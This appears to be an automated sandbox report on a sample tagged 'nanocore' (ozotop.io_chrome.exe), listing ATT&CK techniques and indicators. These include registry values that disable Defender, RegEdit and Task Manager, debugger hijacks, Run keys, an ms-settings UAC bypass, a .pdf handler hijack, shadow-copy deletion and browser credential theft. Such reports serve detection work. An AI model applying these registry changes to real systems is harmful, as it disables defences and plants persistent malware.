nanocore | 268d49094ae7b440db6e4911168679f7d3657a92d2d42801843e234569156af3

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	ozotop.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5772	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	ozotop.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	ozotop.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	ozotop.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4760	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	ozotop.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	ozotop.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	ozotop.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6948	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	ozotop.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	ozotop.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	ozotop.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4108	wscript.exe
5320	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	ozotop.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4272	sc.exe
6460	sc.exe
4376	sc.exe
3200	sc.exe
6776	sc.exe
5324	sc.exe
752	sc.exe
1788	sc.exe
5264	sc.exe
4800	sc.exe
3116	sc.exe
2360	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4324	cmd.exe
328	cmd.exe
2076	cmd.exe
6304	cmd.exe
3756	cmd.exe
324	cmd.exe
4512	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6264	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4688	ipconfig.exe
5856	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2800	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
848	vssadmin.exe
2524	vssadmin.exe
3952	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2"	ozotop.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302375251439699"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	ozotop.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	ozotop.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe\" \"%1\""	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ozotop.io_chrome.exe"	ozotop.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	ozotop.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	ozotop.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	ozotop.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	ozotop.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	ozotop.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	ozotop.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	ozotop.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4008	schtasks.exe
1168	schtasks.exe
4104	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6184	chrome.exe
6184	chrome.exe
5772	powershell.exe
5772	powershell.exe
5772	powershell.exe
4628	WMIC.exe
4628	WMIC.exe
4628	WMIC.exe
4628	WMIC.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6328	WMIC.exe
6328	WMIC.exe
6328	WMIC.exe
6328	WMIC.exe
3772	WMIC.exe
3772	WMIC.exe
3772	WMIC.exe
3772	WMIC.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe
6472	ozotop.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6472	ozotop.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeDebugPrivilege	5772	powershell.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeIncreaseQuotaPrivilege	4628	WMIC.exe
Token: SeSecurityPrivilege	4628	WMIC.exe
Token: SeTakeOwnershipPrivilege	4628	WMIC.exe
Token: SeLoadDriverPrivilege	4628	WMIC.exe
Token: SeSystemProfilePrivilege	4628	WMIC.exe
Token: SeSystemtimePrivilege	4628	WMIC.exe
Token: SeProfSingleProcessPrivilege	4628	WMIC.exe
Token: SeIncBasePriorityPrivilege	4628	WMIC.exe
Token: SeCreatePagefilePrivilege	4628	WMIC.exe
Token: SeBackupPrivilege	4628	WMIC.exe
Token: SeRestorePrivilege	4628	WMIC.exe
Token: SeShutdownPrivilege	4628	WMIC.exe
Token: SeDebugPrivilege	4628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4628	WMIC.exe
Token: SeRemoteShutdownPrivilege	4628	WMIC.exe
Token: SeUndockPrivilege	4628	WMIC.exe
Token: SeManageVolumePrivilege	4628	WMIC.exe
Token: 33	4628	WMIC.exe
Token: 34	4628	WMIC.exe
Token: 35	4628	WMIC.exe
Token: 36	4628	WMIC.exe
Token: SeBackupPrivilege	4980	vssvc.exe
Token: SeRestorePrivilege	4980	vssvc.exe
Token: SeAuditPrivilege	4980	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4628	WMIC.exe
Token: SeSecurityPrivilege	4628	WMIC.exe
Token: SeTakeOwnershipPrivilege	4628	WMIC.exe
Token: SeLoadDriverPrivilege	4628	WMIC.exe
Token: SeSystemProfilePrivilege	4628	WMIC.exe
Token: SeSystemtimePrivilege	4628	WMIC.exe
Token: SeProfSingleProcessPrivilege	4628	WMIC.exe
Token: SeIncBasePriorityPrivilege	4628	WMIC.exe
Token: SeCreatePagefilePrivilege	4628	WMIC.exe
Token: SeBackupPrivilege	4628	WMIC.exe
Token: SeRestorePrivilege	4628	WMIC.exe
Token: SeShutdownPrivilege	4628	WMIC.exe
Token: SeDebugPrivilege	4628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4628	WMIC.exe
Token: SeRemoteShutdownPrivilege	4628	WMIC.exe
Token: SeUndockPrivilege	4628	WMIC.exe
Token: SeManageVolumePrivilege	4628	WMIC.exe
Token: 33	4628	WMIC.exe
Token: 34	4628	WMIC.exe
Token: 35	4628	WMIC.exe
Token: 36	4628	WMIC.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe
Token: SeShutdownPrivilege	6184	chrome.exe
Token: SeCreatePagefilePrivilege	6184	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe
6184	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6472	ozotop.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6472 wrote to memory of 6184	6472	ozotop.io_chrome.exe	91
PID 6184 wrote to memory of 1708	6184	chrome.exe	92
PID 6472 wrote to memory of 5772	6472	ozotop.io_chrome.exe	93
PID 6472 wrote to memory of 752	6472	ozotop.io_chrome.exe	95
PID 6472 wrote to memory of 1788	6472	ozotop.io_chrome.exe	97
PID 6184 wrote to memory of 5516	6184	chrome.exe	99
PID 6184 wrote to memory of 5516	6184	chrome.exe	99
PID 6184 wrote to memory of 6264	6184	chrome.exe	100
PID 6184 wrote to memory of 5704	6184	chrome.exe	102
PID 6184 wrote to memory of 5704	6184	chrome.exe	102
PID 6184 wrote to memory of 7116	6184	chrome.exe	103
PID 6184 wrote to memory of 7116	6184	chrome.exe	103
PID 6184 wrote to memory of 2708	6184	chrome.exe	104
PID 6184 wrote to memory of 2708	6184	chrome.exe	104
PID 6472 wrote to memory of 6460	6472	ozotop.io_chrome.exe	105
PID 6472 wrote to memory of 4376	6472	ozotop.io_chrome.exe	107
PID 6472 wrote to memory of 5264	6472	ozotop.io_chrome.exe	109
PID 6184 wrote to memory of 1112	6184	chrome.exe	110
PID 6184 wrote to memory of 1112	6184	chrome.exe	110
PID 6472 wrote to memory of 3200	6472	ozotop.io_chrome.exe	112
PID 6472 wrote to memory of 4800	6472	ozotop.io_chrome.exe	114
PID 6472 wrote to memory of 6776	6472	ozotop.io_chrome.exe	116
PID 6472 wrote to memory of 7036	6472	ozotop.io_chrome.exe	118
PID 6472 wrote to memory of 3116	6472	ozotop.io_chrome.exe	119
PID 6472 wrote to memory of 2360	6472	ozotop.io_chrome.exe	121
PID 6472 wrote to memory of 848	6472	ozotop.io_chrome.exe	123
PID 7036 wrote to memory of 3356	7036	fodhelper.exe	125
PID 6472 wrote to memory of 4628	6472	ozotop.io_chrome.exe	126
PID 6472 wrote to memory of 4108	6472	ozotop.io_chrome.exe	189
PID 6472 wrote to memory of 4008	6472	ozotop.io_chrome.exe	133
